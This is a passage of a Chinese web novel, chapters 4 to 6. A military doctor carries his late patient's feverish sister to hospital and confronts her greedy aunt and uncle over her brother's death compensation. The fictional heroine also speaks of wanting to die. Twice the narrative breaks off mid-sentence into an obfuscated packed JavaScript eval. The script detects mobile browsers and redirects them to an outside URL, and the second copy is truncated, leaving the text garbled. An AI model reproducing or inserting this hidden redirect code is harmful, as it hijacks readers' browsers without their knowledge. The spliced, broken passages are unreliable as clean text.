他刚刚已经隔着院门向屋内介绍过自己好几次,此刻便也没再犹豫,使力推开了几乎摇摇欲坠的木质屋门。 他来不及多看屋里的情况,一眼就被地上的人夺去了所有心神。 光从他身后涌进昏暗的土屋,却吝啬地止步在地上之人的指尖。可即使这样,还是掩不去她的风华。 就像她身上的那件布满补丁的褪色旧袄,穿在她的身上,也被她反衬成了完全不输仕女图里最精致裙衫的韵味。 她美得像跨越了时光的工笔画。 也像画里的仕女一样,毫无生机。 孟冬荣几乎不敢迈步,他得调动全身的力气才能逼自己靠近她。 他小心翼翼地伸手,指尖感受到她轻浅而又滚烫的鼻息时,才吐出了那口自推门起就憋住的呼吸。 4. 004 孟冬荣蹙眉看着姑娘身上单薄破旧的棉袄,飞快地脱下了自己的大衣,小心翼翼地将人包了起来。 离得近了,孟冬荣便听清了她呼吸的频率和声音,他的眉蹙得更紧了,怎么听着像是肺炎? 得赶紧去医院。孟冬荣看了眼他刚刚放在炕上的黑木盒,此时也顾不上其他了,起身就要往外走。 而当他直起身的那一刻,他的心又重重颤了一下。怀里的人实在是太轻了,他只轻微用了点力,她几乎就整个人滚进了他怀里。 孟冬荣将手上的力气又放柔了些,心中更是急切了几分。可才刚踏出房门,他就看到了院门口小道上奔过来的人。 打头的是一位中年妇人,她脸上挂着谄媚的笑,身后跟着一对年轻些的男女。他们也看到了他,看到了他怀里抱的人。 最前面的中年妇女立马换了个脸色,是很拙劣的担忧,“呀,幺幺这是怎么了?” 孟冬荣还不清楚对方是谁,便一边迈步一边回答,“她发烧了,晕倒在屋里了,请问公社的医院在哪里?” “发烧了?哦,发烧了呀。”吴芳松了口气,看了眼自己的大儿子,“家栋,你愣着干啥,还不把你姐接过来?” 吓死她了,她刚刚正在家吃早饭呢,就看见自家女儿苗苗跑了回来,气喘吁吁地说有个陌生男人在老院。 她一下就想到了半月前来电的男人,急得不行,生怕柳夕雾这倔丫头会趁机和人胡说。没想到这个不争气的烧晕了,真是老天都在帮她。 可不能让这两人单独相处了,吴芳回身看向和这个小院格格不入的男人,“您受累了,把幺幺给她弟吧,家里有药。” 孟冬荣垂眸看了眼怀里人烧得红扑扑的脸,避开青年伸来的手,长腿一迈就绕开了挡路的两人,“她病得很重,要去医院才行。” 他看见了正急匆匆跑来的刚子,也不敢信在场的其他人,扬声,“刚子,麻烦你领路,去医院。” 听见这话,刚子立马转身,跑得更快了,“夕雾怎么了啊?严不严重啊?” 孟冬荣的声音更低了,藏着愧疚和疼惜,“有点儿严重,应该是病了很久了,感冒转成肺炎了。” “肺炎?”吴芳刚凑过来就听见了这句话,她依稀记得肺病是传染人的,便一把拉住了自家儿子,“这病染人,家栋,快离那死丫...丫头远点儿。” 孟冬荣的脚步一顿,心头忽地生起一点火气,但现在还不是说这个的时候。 怕刚子也不帮忙,他不得不有些憋屈地解释,替怀里的人,“不会传染的,你放心。” 刚子连连摆手,“传染我也不怕,这可是青阳哥唯一的妹妹。不过,我们公社医院那个大夫每次好像只会开一种药,今天也不一定在,能行吗?” 孟冬荣也不知道这里的医院都有些什么药,他只能又加快了步子。若公社医院不行,那他得早点带她去更大的医院。 不幸中的万幸,公社医院的大夫虽然不在,但至少有退烧药和基础的诊疗工具。 但是只这样是完全不行的,借助听诊器,孟冬荣基本已经确定了柳夕雾的肺部确有炎症。 这并不是个小病,肺炎不治是能要人命的,更何况感冒导致的炎症后期还可能发展成脑膜炎。 院子里的争吵声闹得两晚都没休息好的孟冬荣的头又闷又痛,他小心翼翼地将盖在柳夕雾身上的大衣往下拉了拉,这才转身走出去。 小小的院子此刻已经挤满了人,刚子为首的一群小伙正牢牢守着看诊室的门,几名老妇人则是正叉着腰指着对面的人骂。 孟冬荣无意在此刻追究他们到底在闹些什么,只问刚子,“夕雾得去县里看病,你们去公社除了走路,还有什么交通工具吗?” 刚子往屋内望了一眼,却只看见被深灰色大衣盖着的纤细身影,他的视线略过大衣上那双白皙纤细的手,心中闪过一丝困惑。 他记得夕雾没有这么白啊?难道只半月不晒太阳,就能换个肤色? 但他到底不是细心的人,也更关心柳夕雾的情况,便又将这疑惑抛到了脑后,“公社有拖拉机,急事可以申请,钥匙在书记那里。” “今天大家都在河道那边,我刚刚已经让人去喊书记回来了。”刚子侧首看了院门口的那家人,还是有些担心,“不过,要是那家人不愿意怎么办?” 红岩是个很讲究宗族的地方,虽然现在明面上不允许说这个,但大家其实暗地里还是遵循着宗族那一套。 别家人的事,外人是不能过多插手的。所以即使是书记来了,也得问柳老二家的意见。 孟冬荣顺着他的视线望过去,最先看见的是那妇人手上提着的、属于自己的包,他侧头看了刚子一眼,“麻烦你帮我去接下书记,我等下就带着夕雾过来。” 刚子不确定这个男人是否能搞定那对无赖,便叫了自己的兄弟去,自己还是守着这个院子。 吴芳和柳峰一直看着这边,见状,两人对视一眼,柳峰率先迈步走了过来。 “我是青阳的亲二叔,柳峰。”他看起来要比吴芳更像一个才失了侄子的人,只不过再开口就露了破绽,“抚恤金的事你和我谈就行,幺幺还是个小姑娘,什么也不懂。” 吴芳也高声应和,“青阳可是我一把屎一把尿带大的!当年他爹娘咽气,是谁把没有狗高的崽子从雪地里领回来的?是我们。幺幺迟早要嫁出去,这钱本来就该给我们保管。” 每句都是钱,满嘴都是钱。 孟冬荣心头的那把火越烧越旺,替那对兄妹。从开始到现在,这对所谓的叔婶,既没问过侄子的尸骨,也没关心过高烧的侄女,有何脸面以唯一的亲长辈自居? 但他在这里势单力薄,又有更要紧的事要做,便淡声回答,“抚恤金的事,我早就在电话就和你们说过了,这件事要由青阳的妹妹主导,这是青阳的遗愿。” “青阳的妹妹现在生着很重的病,我要先送她去县里看病,这些事,至少要等她清醒再谈。” 看出对方想多事,柳峰的眼底闪过一丝不耐,“我自然会照顾好她,你应该也忙,咱们把抚恤金交接好这事儿也就了了,你也好早些回北城去。两全其美的事,不好吗?” 孟冬荣垂眸,第一次把视线正儿八经地落在这对夫妻身上。 男人高高瘦瘦的,裹着件浆洗得发白的厚袄,领口却刻意翻出雪白的假领。他梳着公社干部常见的三七分头,发缝里还沾着梳头油的残香,很冲鼻。 他细长的眼皮半耷拉着,总是偷着像屠户打量待宰羔羊般乜着人,却又在对方看过来时挤出一抹笑。整个人就像他刚刚说的那些话一样,连贪婪都要裹上层虚假的体面。 妇人则恰似院墙根那滚圆的腌菜坛子,枣红棉袄绷着横肉的腰身,盘脸上扑着层劣质香粉,吊梢眉下的那双眼,似乎无时无刻都在滴溜溜转着、盘算着。 孟冬荣的声音更冷了,“请你注意,我是部|队特派来处理柳青阳后续事宜的负责人。你只需要配合我,没有资格指挥我。” 他抬手,朝向吴芳的方向,“我的背包,请还给我。” 柳峰和吴芳去过最远的地方就是平县,这些年能过上好日子也是仗着有个在当兵的、每月都寄津贴回家的侄子,他们两人自身并没有什么本事。 他们本来就对首都、军总院这样的名词有着天然的敬畏,刚刚之所以敢那样说话,也不过是因为从孟冬荣对柳夕雾的态度里看出了对方感恩的姿态。 他们想拿住孟冬荣,无论是爱屋及乌的感恩,还是想早日了结的心思。 此刻见孟冬荣这样说话,一下就怂了。 柳峰强作镇定,回头吼吴芳,指桑骂槐,“帮人家拿包见着人了怎么不记得还?这下好了,好心当作驴肝肺。” 吴芳紧了紧手上的包带,贪婪地看了眼孟冬荣腕间的表、挺括的衣物,还是觉得不甘。 她忽然一拍大腿,坐到地上嚎哭起来,“我可怜的侄子,年纪轻轻就为了救人丢了命,你倒是好心,可看看你救的都是什么人哦!耍威风耍到你亲叔叔亲婶婶头上了!” 她眯着眼睛看孟冬荣,“就你这样,我哪敢把幺幺交给你?哪晓得你是不是拉了我们青阳过去挡刀的哦!” 柳峰也反应了过来,他突然也扯着嗓子跟着嚷,“大伙都来评评理!这外乡人要拐走我们家姑娘!” 他话音未落,院里看热闹的婆子们便交头接耳起来。这个时间,壮劳力都在地里,也就些妇人小孩在家。 几个曾给柳夕雾送过菜粥的妇人撇着嘴嘀咕,“青阳头七都没过呢,幺幺就被赶到了老屋,现在又病得起不来炕,怕不是有人存心...” “放你娘的屁!”吴芳突然抓起笤帚砸向说话的人,“我看你就是嫉妒我们家过得比你好!你个烂婆娘...” 孟冬荣冷冷地看着在院里撒泼的夫妻,忽然想起了术后有一次给柳青阳查房时的景象。 青年安静地躺在床上,对着隔壁床的方向。那里一个妇人正哄着女儿再多吃口饭,他看得很认真,都有些出神了。 直到他走到病床边柳青阳才反应过来,他有些腼腆地抿了抿唇,“孟医生,我三月的时候真的就能出院了吗?” 得到他的肯定后,青年的眼睛亮亮的,也有心思和隔壁床聊天了,“姐,您别担心。她这是和您撒娇呢,就是想您哄着她。” 他的眼底有着最温柔的笑意,“小姑娘都这样的,我妹妹多乖的小孩呀,也会因为羡慕弟弟有婶娘喂饭,故意装作不爱吃饭的样子,好让我哄她。” “我好想我妹妹呀,我不在家,也不知道她受了多少委屈。”青年忽然叹了口气,又强打起精神,“所以现在也挺好,早点转业回家,也早点陪妹妹。” 孟冬荣的心口越来越闷,他正想叫停这一场各怀心思的闹剧,就听见屋内传来了几声低咳。 她醒了!孟冬荣立马回身,退回到屋内,视线径直瞄向那张狭窄的病床。 他刚刚离开时才拉下的大衣又被人重新拉了起来,只露出一小块儿发顶。 她的发丝乌黑而柔软,带着点光泽,是她身上看起来最健康的地方。 孟冬荣垂眸,反手合上了木门,“柳同志,你发烧了,需要散温,不能盖这么严实的。” 他不知道柳夕雾为何要蒙住自己,也并不准备打探,只继续介绍自己,“我是你哥哥之前的主治医生,我叫孟冬荣。你病得有些厉害,我想带你去县里治病,可以吗?” 隔着大衣,男人低哑的声音依旧清晰,他吐字不急不缓,竟莫名让柳夕雾觉得安心。 但柳夕雾还是没有拉下衣服,她也没有回答,任凭沉默在两人之间流淌。 最先开口的还是孟冬荣,他实在担心再耽误下去柳夕雾会再次发热,只好有些艰涩地继续为自己说明,“我没有恶意,我答应过你、哥哥照顾好你。” “你现在的情况必须去更大的医院,你若是不放心,我让刚子和我们一起去,或者别的你信任的人,都可以的。” “不用。”轻柔的女声从病床的方向传来,伴随着毛呢料滑过粗粝麻布的细碎响动,越来越清晰,“我没有什么信任的人。” 柳夕雾侧首看向门边的男人,她的视线仔细而隐秘地扫过他的每一处,着重停留在他半垂着的眸上。 对方比她想象的年轻许多,她原以为,能在都城顶级医院做大夫的人,会像是太医院里的那些人一样,不说白发苍苍,至少已过而立。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281761|166856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方看起来很年轻,身上蕴着的,也更偏向于举子的文气。 柳夕雾轻轻咳了一声,试探着提出她的第一个要求,故意不给任何解释,“我不想见到他们,红岩的任何一个人。” “好。”孟冬荣也没问理由,甚至没有抬过眸,他以商量的口吻和柳夕雾继续说接下来的安排。 “你应该是长期感冒未愈导致的肺炎,这种情况最好是先做个检查再对症下药。但我不确定平县的医院是否有这个条件,如果不行的话,我可能还要带你去市里...” 柳夕雾安静地看着男人,她需要更多的信息来判断接下来的行动方向,便还是问出了那个可能会伤到他的问题,“可是,那我哥哥呢?” 闻言,孟冬荣懊恼地抿了抿唇,他是医生,天生更关注生而非死,柳夕雾的情况太紧急,以至于他竟差点把来这里的另一个目的忘了。 就在他还在思考两全之法时,女声再次响了起来,“我的病不急,我现在感觉好多了,你先帮我哥哥处理后事吧。” 孟冬荣自然不可能赞同这个说法,他温声询问,“青阳的事,我拜托给刚子和平县部队里的人,我先陪你去看病,好吗?” 柳夕雾没回答,反而问起另一件事,“是你抱我来这里的吗?”说到“抱”的时候,她的声音轻了很多。 “嗯,抱歉。”孟冬荣将今早的事大致解释了一下。 柳夕雾其实已经从刚才院子里的对话猜到她的事没暴露了,但得到确定,她还是稍微松了口气。 事情在这些天变得更棘手了。 在和柳峰夫妇达成约定后,柳夕雾本来在安心等着孟冬荣的到来,但她却渐渐发现,自己的身体逐渐变得越来越熟悉了。 她的肤色开始变得白皙细腻,是那种十多年来被当做最珍贵的商品保养的细腻,是属于另一个她的肤色。 她开始咳嗽,最开始只是轻微两声,之后慢慢加重,就如同前世她在冷宫里度过的那些岁月。 土屋里没有镜子,但柳夕雾还是确定了,她彻底来到了这个世界。 柳夕雾是见过这句身体的主人的,对方虽和她有七八分相似,但却是完全不同的气质。至少,只要见过她们的人,就一定不会把她们混淆。 柳夕雾虽然并没有想过在这个世界生活,但这不代表着她愿意以一个“精怪”的身份死去。 她都从那道男声里听出来了,这里的人对这些事是非常忌讳的,而忌讳就意味着连死也会变得麻烦而痛苦。 所以柳夕雾不敢再见任何人,她也无法在红岩再生活下去了,除非她能想到一个可以让大多数人相信短时间人的长相气质就能发生翻天覆地的变化的理由。 柳夕雾抚了抚自己的指尖,忽然把自己的真实想法说了出来,“孟医生,如果说我现在最想选择的是死亡的话,你可以接受、支持我吗?” 孟冬荣猛地抬头,对上的却是一双含着笑意的眼睛。那双水汪汪的、会让孟冬荣想起湖上雾气的眼睛里,全是坦然。 他的喉头发酸,心更沉了,艰难地问,“是因为你哥哥吗?” 男人还是身姿笔挺,但柳夕雾却清晰地感受到了,他曲下了脊背,在这一刻。 她轻叹口气,终于知道为什么柳青阳要那样真切地恳求她。 没有人会忍心见到松柏折枝。 但柳夕雾还是不太甘心,便试着解释,“不是的。我真的很敬佩我的哥哥,也很尊重他的选择。” “我并不怪你,因为这件事你是最无辜的。”柳夕雾注视着他的眼睛,“我只是想选择一个更轻松的活法,而已。” 望着陷在暗色麦枕的少女,孟冬荣忽然明白了她的意思。她这样的容貌,只要她自己或者护着她的人不够强大,无论在哪里,都会成为她的催命符。 而她现在是一个身单力薄的、孤苦无依的、群狼环伺的十九岁少女。 少女的声音很淡,像是在说的不是自己的生与死,“我其实很早就有过这个想法,但我怕我哥哥伤心,便一直忍着,现在正好。” 她专注地看着他,轻声说,“但我怕你会因为我的死埋怨自己,这不是我想要的,也不是我哥哥想要的,所以我就想着,和你说清楚了再...” 孟冬荣忽然打断了她的话,“柳同志,大衣左边口袋里的东西,麻烦你替我拿出来一下。” 这个请求太莫名,柳夕雾微怔,却还是顺从地探手进了大衣的口袋。 男人的声音在耳边流淌开来。 “医院的花园里种着几棵玉兰,其中一棵正好在你哥哥病房的窗外。玉兰花刚开的时候,你哥哥刚被允许下床,他扶着墙走到了窗边,一脸惊喜,像个小孩子一样。” “他问我这花的名字,和我说,这从未见过的花让他觉得亲切,他觉得他的妹妹一定会喜欢,但老家没有,所以好想也带她来看看...” “对不起,我本来向你哥哥许诺了一定让他在花开时去见他的妹妹。”孟冬荣的喉结滚动。 他抬眸看向柳夕雾,语气郑重,“我尊重你的任何决定,你也无需顾虑我的心情。但我还是想问问,替月前的你的哥哥问,替现在的我自己问,你愿意去看看北城的玉兰吗?” “我们到时玉兰应该已经谢了,等明年花开,若你还是更想念哥哥,我会送你回家的。”孟冬荣艰难地补充。 柳夕雾怔怔地看着手心里的纯白花瓣,似乎还能闻到玉兰的淡香,也好似触到了一颗温柔的、细腻的心。 她在心里轻轻叹了口气,终于懂得了,为什么心有牵挂的柳青阳依旧会毫不犹豫地挡在这个男人面前。 就像此刻,他们明明才相识不到半个时辰,她却已不忍心见他颓唐、不愿拒绝他的心意。 5. 005 柳夕雾凝望着手心的那朵玉兰,纤长的睫毛在眼下投出蝶翼般的阴影。 孟冬荣的喉结轻轻滚动,他能清晰听见自己血液在耳膜里撞击的声响,在柳夕雾注视玉兰的这几秒,他仿佛连心脏都跟着那支轻颤的花苞被她攥进了手里。 他说得轻松,但他很了解自己,若他来到红岩面对的是柳青阳妹妹的死讯,若他最后得到的还是否定的回答,他是绝不可能一丝影响也不受的。 眼前的姑娘,是他在这个世界唯一亏欠之人。他比她以为的,还需要她的宽宥。 “好。”柳夕雾忽然开口,尾音带着高烧特有的沙哑,她抿出一个小小的笑,“那就麻烦你了,孟医生。” 这个笑像春日里将化未化的薄冰,脆弱得让人心惊,却又带着一点儿春的生机。 孟冬荣也跟着弯起了唇,他很快就在脑海里调整好了计划,“那我先送你去县里医院住着,我会尽快把这边的事处理好,然后我们一起回北城。” 柳夕雾轻轻点了点头,她能感觉到自己的眼睛又开始发烫了,便极体贴地说,“我好像又发热了,要是要喝药,你现在给我吧,等下我睡着了喝起来就麻烦了。” 闻言,孟冬荣几不可查地蹙了蹙眉,柳夕雾的情况好像比他以为的还要严重些。 他三步并作两步上前,却在距床沿半步处硬生生刹住脚步,“我可以帮你看看吗?” 柳夕雾点点头,将自己的手递了过去。 孟冬荣有些困惑地看着柳夕雾的动作,却没有问,只顺势扶着她的小臂让她坐直,又将桌边水杯递给她,轻巧地换下她额上的毛巾。 “这里只有安乃近,我不想给你吃太多,我们先用物理降温。” 他探身将手指搭在她的额头,又将指尖点在她的太阳穴,触手的肌肤有明显的升温趋势,确实是又在发热了,必须得赶紧去县里。 “院子里有很多人。”孟冬荣垂眸注视着她莹莹的小脸,“但她们不知道你醒了,你装晕,我继续用大衣包着你抱你出去好不好?” 柳夕雾飞快地抬眸看了男人一眼,放在大衣上的指尖收紧又放开,最后变成一声轻浅的应答,“好。” “等去了县里,我会交代医生不让人探视。”孟冬荣弯下腰,轻声安抚,“你若还有什么不放心的,告诉我就好,我会处理。” 随着他靠近,柳夕雾的呼吸尽是那股雪松味,这味道从她醒来时就萦绕在她周围,却从未如此刻这般夺人心神。 她不知道这里的人是否遵循他们那里的男女之别,也想不到别的可以避开其他人视线的法子,便强行压制着心里的紧张,乖顺地让男人将她抱了起来。 她在不安。孟冬荣体察到了这一点,正准备再将人往外移几分,怀里的人就猛地将脸扎进了他的怀里。 发烧的人体温本就高,即使此刻隔着毛衣,也有种让人心悸的热烈。孟冬荣的步子顿了顿,没人看见的地方,他的睫毛也颤得厉害。 在今日之前,他从未以医生之外的身份与年轻女孩儿相处过,他其实也有些无措。 但他从不是个犹豫的人。在那间土屋里,当他毫不迟疑地将人抱起来的瞬间,他就已经做好了决定。 他缓缓地舒了口气,垂眸看了眼姑娘藏得严严实实的小脸,眸底染上了点轻浅的笑意。她此刻的样子让他想起了怕生的小猫幼崽,可爱可怜。 他侧身推开木门,听见这响动,院子里的人齐刷刷地回过了头,刚子离得最近,立马凑了过来,“夕雾还没醒吗?” 柳夕雾被孟冬荣用大衣裹得严实,一张小脸又恰好藏在了孟冬荣怀里,刚子什么也看不见,只能看向孟冬荣。 孟冬荣蹙眉摇头,“这里没有治肺炎的药,还是得去县里。”他把肺炎两个字咬得很重。 果然,本来已经冲了过来的吴芳立马就像想起了什么似的死死拉住了自家丈夫,还往后退了一步,不甘又害怕地盯着这边。 “包。”孟冬荣却也径直看向了她,“我的军官证也在里面,你确定要私占吗?” 吴芳就是个欺软怕硬的主,看出孟冬荣对他们的冷硬,她嘟囔着把包塞到刚子手里,“了不起啥呀,要不是我侄子救你,你早就躺地里了。” 孟冬荣并不愿和她做无谓的争执,看了眼旁边一脸若有所思的男人,快步离开了。 等人走后,吴芳这才忍不住抱怨,“就这么放他走了?看他那样,他是只认那死丫头了,软硬都不吃,没见过这么烦人的...” “别吵。”柳峰眯着眼看着拖拉机离开的方向,忽地咧嘴笑了,“你放心,这钱最后还是我们的,说不定,我们还能宰他一笔大的。” 吴芳眼睛一下亮了,她有些崇拜地看向自己的丈夫,“你想到什么好法子了?” 柳峰笑得神秘,反问,“北城的人就能随便抱着别人家的黄花大闺女进进出出吗?” “他是医生,而且那丫头不是生病了吗?”吴芳却有些蔫了,“我们哪里管得了他?” “是管不了。”柳峰斜了吴芳一眼,“但我们管得住夕雾啊,就看他能为夕雾做到哪一步了。” 吴芳却还是有些云里雾里的,她看得出来那男人只想找夕雾报恩不想搭理他们,但可没看出来别的,便喋喋不休地继续追问。 柳峰被她问烦了,指了指自己的眼睛,“你知道对于男人来说,最无法抵抗的是什么吗?” 吴芳胡乱猜了好几种,柳峰这才屈尊纡贵地告诉她,“是心疼。” “青阳这小子还是很聪明的,一个善良的、有能力的、还心疼她妹妹的男人,可比他这个部队最底层的小战士可靠多了。” “夕雾这丫头,还真是命好呀,虽然我哥嫂死得早,却给她生了个好哥哥,连死都在给她铺路。” “堂哥不是这种人。”一直默默跟在夫妻身后的柳家栋忽然开了口,“他救人的时候肯定没想过这些的,爹、娘,你们不要...”不要这样说他。 柳峰没回答,只笑着看了他一眼,眼底是明晃晃的不以为意。 吴芳也回头看了自家儿子一眼,轻笑着说,“你个小孩子家家的,懂什么,只要记着爹娘做的一切都是为了你们姊妹仨就行。” 说到这里,柳家栋忽然噤了声。他知道他们家这样做是不对的,那是堂哥用命换来的钱,只有堂姐有资格用。 但想起自己的学费,想起他家的新屋,他也只是握紧了拳头、垂下了头。 —————— 得知书记终于舍得动用拖拉机,红岩公社许多人都趁机涌了过来,本来还算宽敞的车厢一下就变得拥挤了起来。 书记谢成昌见状为难极了,他看了眼车斗的空位,“孟医生,要不您坐前面来?夕雾让她其他婶子帮忙看着。” 孟冬荣感受到怀里人的呼吸顿了一瞬,安抚地紧了紧小臂,“不用了,高烧的人容易惊厥,我还是在旁边比较好。” 谢成昌就是个但求无功无过的烂好人,他之前不想掺和柳家家事,现在也不想掺和进这个外来人和柳家人的斗法里,便顺坡下驴。 “行,我给小王说了,让他直接拉你们去县医院。这两天就让他陪你们在城里待着,有啥需要帮忙的你和他说就行。” “谢谢。”孟冬荣对着谢成昌点点头,“之后的事麻烦您了。” “您客气了。”谢成昌一点儿架子都不敢摆,答完就又跑到车头嘱咐小王要开稳、开快些。 他也是红岩公社最清楚孟冬荣身份含金量的人。这几年虽无军衔,但军总院的主治医师对应的干部级别是明晰的,团级军官,即使是文职,也不是他这个公社书记能怠慢的。 而等他走后,车厢里的人也开始偷着打量起角落的男人来,嗑瓜子的胖婶子突然探头,“你就是青阳救的那位医生吧?青阳妹子这是咋了?” 瓜子壳不偏不倚落在军靴上,孟冬荣不动声色地挪开脚。自上车以后,他就只是虚虚揽着柳夕雾了,只留意着让她的整张脸都能继续藏在他的大衣里。 他心里其实也有疑惑的。比如柳夕雾总不是突然变美的吧,为什么这么怕见人呢?又比如,以柳夕雾的容貌,在整个平县应该都是惹人注意的,为什么从未有人说过呢? 但比起这些,他更关心柳夕雾的身体是否健康,便也克制着从不深想。 “感冒太久了,在高烧,带她去县里的医院检查一下。”车轮碾过碎石剧烈颠簸,怀里的身躯猛地一颤,孟冬荣立即用臂弯将人护得更紧。 见他回答,问话的婶子一下就兴奋了起来,最开始还只是问几句柳家兄妹的事,后来就变成打探孟冬荣本人了。 孟冬荣回答得很少,但也许是他的态度很亲和,车里加入对话的人竟越来越多了,车厢里也恢复了往日的热闹。 孟冬荣微不可察地蹙了下眉,小心翼翼地探手进大衣里试了试柳夕雾额间的温度,见没有继续上升才安了心。 瞥见他动作的人不少,车厢里忽然又安静了下来,在这个年代,这个动作实在太过亲近了。 其实当时孟冬荣抱着柳夕雾上车的时候,好多人都已经被吓到了,但也只敢在心里嘀咕几句,便用救命要紧的话把自己糊弄了过去。 可这一路看下来,这个年轻人一直将青阳妹子揽在怀里,即使坐在人群里也一副理所当然的样子,这已经不是大伙儿所能接受的“紧急情况”了。 一个和柳家沾点远亲的年轻妇人看不下去了,一边在心里咒骂柳峰那对不当人的夫妻,一边起身往角落走。 “孟医生,我是幺幺的表姐,瞧我这一路上光顾着聊天了,差点把正事忘了。辛苦您了,把幺幺给我吧。” “不用。”孟冬荣拒绝地很干脆,给出的解释却语焉不详,“我答应了青阳,会照顾好夕雾,这是我该做的。” 年轻妇人闻言也愣住了,她不确定这个男人说的“照顾”是哪种,便求救似的看向了身侧的婆母。 她的婆母显然比她老练多了,她先拉着自家儿媳坐下,又假装不经意地问,“哦哦,是这样啊。那你们准备什么时候回北城啊,我给幺幺装点我们这边的红薯干,她喜欢吃这个。” “这边的事处理好了就回去。”孟冬荣看向那对婆媳,听出她们的关心和亲近,轻轻笑了一下,“这次请的假不长,许多礼数可能都做不到位,请您谅解。” 这下,整个车厢是彻底落针可闻了,只能听见拖拉机特有的轰隆声和车厢连接处因颠簸发出的哐啷声。 车厢里红岩公社的人面面相觑,却都没有再问下去。柳家两房的事本就是一团乱麻,此时柳青阳救下的人又和柳夕雾有了这样一层关系,之后这段日子肯定安生不了。 柳家人丁单薄,这两代也不过就这两房,柳峰夫妻又是唯一的长辈,偏偏是两个无赖,这些事儿谁沾上都是麻烦。 这年头,谁家都是多一事不如少一事。 他们虽不说话,却更加专注地打量起了孟冬荣。越看就越感叹,感叹柳夕雾命好,哥哥死前还给她找了这么好一个归宿。 只看着男人对柳夕雾那上心劲儿,一路上眼神就没离开过柳夕雾,就知道这是个知恩的男人。 而这样的人,只凭着她哥哥是对方救命恩人这一点,这夕雾未来在婆家的日子就只有好过的份儿。 被众人念叨着的柳夕雾却没有那么多心思,她对这个世界的规则一无所知。 她不知道这里出门要用介绍信,从公社去城里常住更是得要转户籍,而转户籍唯二的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他垂眸看向床上的人,两人视线只刚接上,就不约而同地移了开来,只不过孟冬荣又很快挪了回来。 他看着柳夕雾眉心的朱砂痣,淡声说起她可能会关心的事,“青阳的事我拜托给这边部队上的人了,对方是专门做后勤的,处理这些没问题。” 他的声音很轻,像是怕惊扰了眼前的人,“我让他们把你父母在的那块儿也划到了烈士陵,以后公社会派专人负责打理。” 听到这儿,柳夕雾都不顾得所谓避讳,急切地看向他的眼睛,求证,“是松山吗?” “嗯。”孟冬荣安抚地对她弯了弯唇,“以后那里不叫松山,是你哥哥的烈士陵。” 他从衣服口袋里拿出一张存单,“这里面是你哥哥的抚恤金,我本想着这次过来全部给你,但现在...” 他难得卡了壳,“既然你要和我一起去北城,这个就不能完全不给你的叔婶了,我怕他们会阻拦你离开。” 孟冬荣不怕他们污蔑他为了侵占抚恤金才求娶柳夕雾,只怕这会阻挠柳夕雾离开的理由。 他很清楚,只要他留她一人在这里,他等不了多久就会接到她的死讯。 “不可以。”柳夕雾却坚决地摇了头,“哥哥的抚恤金,他们不配用。” 孟冬荣听到这个答复也不意外,继续解释,“所以我准备今天中午去趟邮局,把你哥哥这两三年的汇款单统计出来,连上这笔抚恤金一起算遗产。” 柳夕雾疑惑地看向孟冬荣,却没有急着问。这两日的经历,足够让她信任上这个男人的能力了,他的手腕并不如他整个人看起来那般温和。 她也真的是个很容易惹人怜惜的姑娘,此刻只是微蹙着眉,孟冬荣就又下意识放柔了声音。 “我大概能算出来你哥哥寄回家里的津贴,就算按最高额度扣掉你的生活费和学费,他们已经拿走的也远超他们该拿到的额度。” “况且他们不是以你们的父母自居吗?既是父母,那就要承担你的所有花销,即使能拿一定额度的抚恤金,算下来也还要倒还回来一部分津贴。” “可若不是父母,那他们作为叔婶,是没有任何资格分到你哥哥的津贴和抚恤金的。” 柳夕雾几乎是立马理解了孟冬荣的话,她的眉眼倏地放松开来,语调也轻快了些,“那就让他们自己选吧。” 这是孟冬荣自见到她后看见的她最有生机的模样,他不由高兴,受到鼓励般继续往下说。 “你哥哥的津贴想要回来有些难了,那就用房子来补。总之你放心,部队里去的是处理这方面最厉害的干事,这两天肯定能解决的。” “嗯,谢谢你。”柳夕雾无比真诚地道谢,“没有你,我也许拼尽全力也无法讨回我哥哥的东西。” 孟冬荣却有些狼狈地移开了眼,他放在膝上的手微微颤了颤,但听他的声音,依旧是极其淡然的。 “你还有别的想做的吗?若没有,我看了,三日后有趟火车时间很合适,我们可以坐它回北城。” 柳夕雾仔细回忆了下,“我哥哥写给我的三封信在老房子的枕头下,我想带上它,别的那些,等我...” 柳夕雾本想说“等我死后和我葬在一起”,但对上孟冬荣的眼神,她忽地说不出口了。 虽然这样说会显得她很可怜,但孟冬荣确实是她两辈子遇见的第一个非亲非故却对她数一数二好的人。 他虽然是背着因果才出现在了她的面前,但无法否认的是,他的出现确实帮她解决了所有困难,让她彻底全了和柳家兄妹的缘。 于是,她顿了顿,笑着续上前面的话,“帮我和哥哥葬在一起吧。”那本来就是属于另一个柳夕雾的东西。 孟冬荣没错过她的停顿,他半垂下眸子,假装没发现她的向死意,“好。” 没人能瞒过一个终日在生死线上穿梭的医生,他们见过真正求生的眼睛,又怎么会被一个笑安抚住。 孟冬荣握紧了拳,心脏似乎又被一张透湿的棉布裹住、缠住了,闷得他无法呼吸。 他知道自己在强求,但也请原谅他,他真的无法放手。 6. 006 “难道就这么算了?”煤油灯在石灰墙上晕出硬币大小的光斑,五间瓦房的横梁还带着松脂清香,吴芳抬头看着自家的新房,心中充满了不甘。 印着“抓革命促生产”的搪瓷脸盆在墙角泛着幽光,盆底积着层薄灰。自从柳夕雾离开后,再没人天天擦洗这些物件。 之前她虽然倔,但大概是害怕和他们闹翻会让在外的哥哥担心,许多事也都愿意做,本质还是个很听话的孩子。 不像这段时间,活生生变得六亲不认。昨日竟还让那外人以势压人,欺负到自家人的头上。 柳峰越想越气,他也觉得不甘,尤其是在知道侄子的抚恤金有多少之后,那不甘无时无刻不在焚着他的心,让他逐渐忘了下午被人找上门时的恐惧。 他抖了抖指尖的大前门,掉落的烟灰已经在桌脚积成一个小堆,昭示着他的纠结。 